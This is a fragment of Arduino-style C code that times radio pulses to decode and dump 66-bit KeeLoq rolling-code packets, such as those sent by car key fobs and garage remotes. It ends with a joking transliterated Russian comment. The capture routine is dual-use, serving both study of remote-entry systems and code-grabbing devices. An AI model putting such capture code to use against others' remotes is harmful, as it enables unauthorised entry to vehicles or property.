bValidPacket = true;
}
else if(difTime > 280 && difTime < 620 && lastRxValue == 1){
if(decodeMethod==0){
keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]>>1)|B00000000;
}
else{
keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]<<1)|B00000001;
}
bValidPacket = true;
}
else if(lastRxValue == 0){
}
else{
keelog_state=1;
keelogCounter = 0;
}
if(bValidPacket){
keelogCounter++;
if(keelogCounter==66){
keelog_vardump();
keelogCounter = 0;
keelog_state = 0;
}
}
}
}
//keelog end
///uuuaaaaaaaa che ya nadelal)))))))) IIIIIIzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSTAAAAAAAAAAAAAAAAARRRRRRRRRRzzzzzzz